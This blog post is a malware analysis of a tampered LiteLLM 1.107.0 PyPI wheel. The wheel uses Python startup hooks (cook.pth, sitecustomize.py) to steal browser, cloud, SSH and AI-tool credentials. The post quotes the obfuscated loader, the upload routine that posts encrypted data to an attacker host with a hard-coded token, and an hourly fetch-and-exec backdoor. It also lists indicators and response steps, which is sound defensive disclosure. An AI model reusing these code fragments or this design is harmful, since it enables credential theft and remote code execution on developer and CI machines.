BLOG
LiteLLM 1.107.0 PyPI Wheel Contains a Credential Stealer and Persistent Python Backdoor
Startup hooks steal secrets on every interpreter launch, and the C2 appears to host an operator panel with victim data.
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
The OpenSourceMalware team analyzed a wheel identifying itself as LiteLLM 1.107.0 and found a complete Python startup backdoor. The artifact does not merely contain suspicious strings or dormant test code: it installs two automatic execution paths, launches a credential-stealing payload, encrypts and uploads the results to www.litellm.dev, and creates a background process that retrieves and executes attacker-controlled Python every hour.
The evidence supports treating this specific wheel as a malicious package compromise. Any system on which Python started after this wheel was installed should be considered potentially compromised.
TL;DR
Threat Type: PyPI supply-chain compromise, credential stealer, and persistent backdoor
Affected Artifact: LiteLLM 1.107.0 macOS x86-64 wheel analyzed by OpenSourceMalware
Impact: Automatic execution on Python startup, credential collection, encrypted exfiltration, and unrestricted remote code execution
Primary C2:
www.litellm.dev, which receives stolen data and appears to host an operator panel with victim informationExfiltration Endpoint:
http://www.litellm.dev/healthcheckRemote Loader:
https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txtfollowed byhttp://{domain}/codepyPersistence: Forked background process, lock file, suppressed output, and hourly C2 polling
Wheel SHA-256:
7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
Context
Upwind’s security research team publicly reported the compromise on October 21, 2026. They found that all seven LiteLLM 1.107.0 wheels on PyPI contain the same three injected files, and that the payload is absent from the v1.107.0 git tag. The payload file hashes in our sample match the RECORD values in Upwind’s report, and the wheel hash matches their entry for the macOS x86-64 wheel. How the build environment or publishing credential was compromised remains unknown.
This is the second compromise of LiteLLM on PyPI in 2026. In March, versions 1.82.7 and 1.82.8 were published using a PyPI token stolen during TeamPCP’s Trivy supply chain attack. Both incidents use Python startup hooks in tampered wheels, but the infrastructure differs. We are not attributing the October compromise to TeamPCP or any other actor.
Discovery
The wheel contains three files that should not appear in a legitimate LiteLLM installation:
File
Purpose
SHA-256
cook.pth
Executes import cook during Python startup
7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
cook.py
Decodes and runs a credential-stealing payload
9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
sitecustomize.py
Contains a stealer variant and runs the persistent remote-code loader
34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
The files are listed with valid hashes in the wheel’s RECORD manifest. We verified all 3,946 hashed entries in that manifest and found no mismatches. This is important: the malicious files were incorporated into the packaged artifact and its integrity metadata rather than appended to the unpacked directory afterward.
The analyzed wheel is:
Filename: litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
Size: 38,106,866 bytes
SHA-256: 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
Automatic Execution on Python Startup
The first execution mechanism is a 12-byte .pth file:
import cook
Python processes executable import lines in .pth files while initializing site-packages. An application does not need to import LiteLLM for this code to run. Starting Python in an environment containing the installed wheel is sufficient.
The imported cook.py file is a single obfuscated statement. It Base64-decodes and zlib-decompresses an embedded Python program before passing the result to exec():
import zlib, base64
exec(zlib.decompress(base64.b64decode("...")))
The package also supplies sitecustomize.py. Python attempts to import sitecustomize automatically during normal startup, giving the wheel a second execution path independent of application behavior.
We decoded both embedded blobs as inert data without importing or executing the sample. The decoded payloads are variants of the same 1,237-line credential collector:
sitecustomize.py decoded payload:
20a59e5a285799e7cf7fa16cfba1c1414f1e84a8459e14207cfd4e998c2cd24b
cook.py decoded payload:
6ea3d8ef6cf73a72d8df24f663b7a31ce67494eeb9b0d707b93484e66675d2df
The cook.py variant starts the collector in a daemon thread and creates /tmp/.pc_once_72129118c59f5636c0bb after a successful upload. It also sets PRIVCOLLECT_ACTIVE=1 to suppress duplicate collection within related processes.
What the Embedded Payload Steals
The decoded program calls itself privcollect. Its configured modules are explicit:
PC_MODULES = [
'sysinfo', 'netinfo', 'browser_pw', 'browser_hist',
'ssh_keys', 'shell_hist', 'cloud_creds', 'dev_secrets',
'container_creds', 'cicd_secrets', 'ai_devtools',
'env_vars', 'db_litellm', 'cloud_metadata',
'gpg_keys', 'tls_privkey'
]
Those names accurately describe the behavior. Confirmed targets include:
Chrome, Chromium, Edge, Brave, Opera, and Firefox login databases, cookies, web data, and browsing history
Windows DPAPI- and AES-GCM-protected Chromium passwords, plus legacy Linux Chromium password encryption
SSH files, GPG private keys, TLS private keys, and Let’s Encrypt private keys
Shell, Python, Node, database-client, Vim, PowerShell, and command histories
AWS, Azure, GCP, Kubernetes, Docker, GitHub CLI, rclone, Heroku, and
.netrccredentialsGit credentials and tokens stored in npm, PyPI, pip, Yarn, Maven, Gradle, Composer, RubyGems, and Cargo configuration
.envfiles and common private-key formats under the home and current working directoriesKubernetes service-account tokens and Docker secrets
GitLab Runner, Jenkins, Vault, Terraform, and Packer secrets
Credentials and configuration for Codex, Claude, Cursor, Gemini, GitHub Copilot, VS Code, Windsurf, Kiro, Zed, Hugging Face, Qwen, Continue, OpenCode, Amp, Factory, Trae, Ollama, and Amazon Q
Every environment variable in the current process
Readable environment variables from other Linux processes through
/proc/*/environWhen
DATABASE_URLis set, LiteLLM credentials and model parameters fromLiteLLM_CredentialsTableandLiteLLM_ProxyModelTable, which hold the upstream provider keys the proxy storesAWS EC2 and ECS role credentials, GCP service-account access tokens, and Azure instance metadata
Host, user, operating-system, network-interface, route, neighbor, listener, and runtime information
Firefox credentials are particularly revealing. The payload attaches logins.json and key4.db and labels them as decryptable offline by the receiver. This is purpose-built credential theft, not generic diagnostic collection.
Encrypted Exfiltration to www.litellm.dev
The central network indicator in this artifact is not the dynamic /codepy host. It is the hard-coded collection endpoint:
PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
After collection, the malware serializes its results to JSON, generates a random 256-bit AES key and 128-bit IV, and encrypts the JSON with AES-256-CBC. It then encrypts the AES key with an embedded RSA public key using OAEP.
The encrypted material is placed into a gzip-compressed tar archive:
hdr.json Encryption metadata, target, and timestamp
data.bin IV followed by AES-encrypted collection data
key.bin RSA-encrypted AES key
The upload code is concise:
def pc_post(url, body, token=None):
req = urllib.request.Request(url, data=body, method='POST')
req.add_header('Content-Type', 'application/octet-stream')
req.add_header(
'User-Agent',
'Mozilla/4.0 (compatible; MSIE 7.0; '
'Windows NT 10.0; WOW64; Trident/7.0)'
)
req.add_header('X-SHA256', hashlib.sha256(body).hexdigest())
if token:
req.add_header('X-Token', token)
for attempt in range(4):
try:
with urllib.request.urlopen(req, timeout=120) as response:
if response.status == 200:
return True
except Exception:
pass
if attempt < 3:
time.sleep(2 ** attempt)
return False
The resulting request has this form:
POST /healthcheck HTTP/1.1
Host: www.litellm.dev
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
X-SHA256: <SHA-256 of encrypted tar body>
X-Token: XWiA8gZNa7NcX2XRoAEb
Two details matter for defenders. First, the endpoint uses plain HTTP rather than HTTPS. Network sensors may therefore see the HTTP path and custom headers even though the body itself is encrypted. Second, the endpoint name resembles a routine service health check, which may allow the traffic to blend into application monitoring.
DNS Background for litellm.dev
The distinction between the apex domain and the hostname embedded in the malware is important:
Apex domain: litellm.dev
Malware hostname: www.litellm.dev
Malware URL: http://www.litellm.dev/healthcheck
Protocol in sample: HTTP
Role in code: Encrypted credential-exfiltration receiver
According to Upwind’s report, the apex domain was registered on October 13, 2026, about one week before the malicious release. That short registration history is consistent with newly provisioned infrastructure, although domain age alone does not establish ownership or malicious intent. The legitimate LiteLLM project domain is litellm.ai.
OpenSourceMalware also searched public web indexes and passive-analysis entry points for historical DNS, certificate-transparency, and URL-scan records relating to litellm.dev and www.litellm.dev. At the time of research, those sources did not yield independently verifiable historical A/AAAA answers, hosting-provider attribution, or a trustworthy IP timeline that could be included in this report. Apart from the operator panel observation described below, the domain was not scanned or probed, and the malware’s collection endpoint was not contacted.
Accordingly, this post does not assign an IP address, hosting provider, registrar, or owner to the domain. DNS data is time-dependent, and a current resolution would not prove where the hostname pointed when this wheel was built or executed. The defensible finding is narrower and stronger: the 1.107.0 payload itself hard-codes www.litellm.dev as the receiver for encrypted credential bundles.
Defenders should search historical DNS, proxy, firewall, and HTTP telemetry in their own environments for both the exact hostname and full path. Relevant request headers include X-Token, X-SHA256, and the obsolete Internet Explorer-style user agent shown above.
Operator Panel on www.litellm.dev
The HTTPS site at https://www.litellm.dev appears to host an operator panel containing victim information. If confirmed, this makes the host more than a collection endpoint. It would be where the operator reviews stolen data, which is why we treat www.litellm.dev as the primary command and control host for this campaign. Our analysis of the panel is ongoing, and we will update this post with what we can confirm.
Persistent Remote-Code Loader
sitecustomize.py also implements a separate backdoor. It creates /tmp/remote_code_loader.lock, takes a non-blocking file lock, forks, calls setsid(), redirects file descriptors 0 through 2 to /dev/null, changes its working directory to /, and enters an infinite loop.
Each iteration performs the following sequence:
Retrieve
domain.txtfrom theletters9813/pythonclient-testGitHub repository.Select the first line matching a domain or
localhost, optionally with a port.Resolve the supplied hostname.
Request
http://{domain}/codepy.Compile the response as Python.
Execute it with
__name__set to__main__.Sleep for 3,600 seconds and repeat.
The critical execution primitive is:
async def exec_code(code):
loop = asyncio.get_running_loop()
await loop.run_in_executor(
_executor,
lambda: exec(
compile(code, '<remote>', 'exec'),
{'__name__': '__main__'}
),
)
This design separates the installed package from the active second stage. The attacker can change domain.txt, replace /codepy, or serve different code over time without publishing another wheel.
The current contents of domain.txt and /codepy were not retrieved. Upwind reports that domain.txt has been empty since October 20, 2026 at 09:15 UTC, which leaves this stage dormant until the operator commits a new domain. We have not independently verified the file’s history. The exact second-stage hostname and payload are therefore unresolved. Nothing in the local artifact constrains what /codepy can do: it executes with the privileges of the affected Python process and may introduce further downloads, persistence, lateral movement, or destructive behavior.
Attack Chain
LiteLLM 1.107.0 wheel installed
|
v
Python interpreter starts
|
+--> cook.pth executes "import cook"
| |
| +--> Base64 + zlib payload decoded and executed
| +--> Credentials and secrets collected
| +--> Encrypted bundle POSTed to www.litellm.dev
|
+--> sitecustomize.py imported automatically
|
+--> Lock file created
+--> Process forks and detaches
+--> domain.txt fetched from GitHub
+--> http://{domain}/codepy downloaded
+--> Response compiled and executed
+--> Process sleeps one hour and repeats
Indicators of Compromise (IOCs)
Malicious Package
PyPI/litellm@1.107.0
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
Files and Runtime Artifacts
cook.pth
cook.py
sitecustomize.py
/tmp/remote_code_loader.lock
/tmp/.pc_once_72129118c59f5636c0bb
PRIVCOLLECT_ACTIVE=1
Network Indicators
https://www.litellm.dev
http://www.litellm.dev/healthcheck
www.litellm.dev
litellm.dev
https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt
raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt
http://{domain-from-domain.txt}/codepy
github.com/letters9813/pythonclient-test
HTTP Indicators
X-Token: XWiA8gZNa7NcX2XRoAEb
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
X-SHA256: <SHA-256 of request body>
SHA-256 Hashes
7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d wheel
7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb cook.pth
9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25 cook.py
34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa sitecustomize.py
20a59e5a285799e7cf7fa16cfba1c1414f1e84a8459e14207cfd4e998c2cd24b decoded sitecustomize payload
6ea3d8ef6cf73a72d8df24f663b7a31ce67494eeb9b0d707b93484e66675d2df decoded cook payload
Detection and Response
Security teams should not limit their search to applications that explicitly import LiteLLM. The .pth and sitecustomize mechanisms execute during Python initialization, so any interpreter launched in an affected environment may have triggered the malware.
Recommended response actions:
Isolate affected hosts, containers, virtual environments, developer workstations, and CI runners.
Preserve the wheel, installed package tree,
/tmpartifacts, Python process trees, memory, DNS logs, proxy logs, and firewall telemetry where incident-response procedures permit.From a shell, not Python, remove
cook.pth,cook.py,sitecustomize.py, and any matching__pycache__files from every affected site-packages. Any Python start, includingpip, re-runs both payloads. Then terminate the detached Python process holding/tmp/remote_code_loader.lock.Search for HTTP traffic to
www.litellm.dev, especiallyPOST /healthcheckcarrying the hard-codedX-Tokenheader.Search for retrieval of the GitHub
domain.txtpath followed by plain-HTTP requests to/codepyfrom Python processes.Treat all secrets readable by the affected account as compromised. Rotate them from a known-clean system. The
/tmp/.pc_once_72129118c59f5636c0bbmarker confirms a successful upload, but its absence does not rule one out, since container restarts and temp cleanup remove it.Include cloud temporary credentials, Kubernetes tokens, database credentials, browser passwords, SSH/GPG/TLS keys, package publishing tokens, CI/CD secrets, GitHub/GitLab tokens, and AI-provider keys in the rotation scope.
Review cloud, source-control, package-registry, CI/CD, and identity-provider audit logs for subsequent use of stolen credentials.
Rebuild affected environments from trusted artifacts. Removing the package alone cannot undo arbitrary code already delivered through
/codepy.
Limitations
This analysis is intentionally scoped to the supplied LiteLLM 1.107.0 artifact. It does not make claims about other LiteLLM versions.
The investigation is not second-stage complete. The loader obtains its active domain from mutable remote content and executes an unavailable /codepy response. Because that response was not present in the wheel and the second-stage infrastructure was not contacted, any additional behavior delivered through that channel remains unresolved.
Similarly, no historical IP address is attributed to www.litellm.dev without reproducible passive-DNS evidence. Defenders should preserve time-qualified DNS answers from their own telemetry rather than treating a later live resolution as historical fact.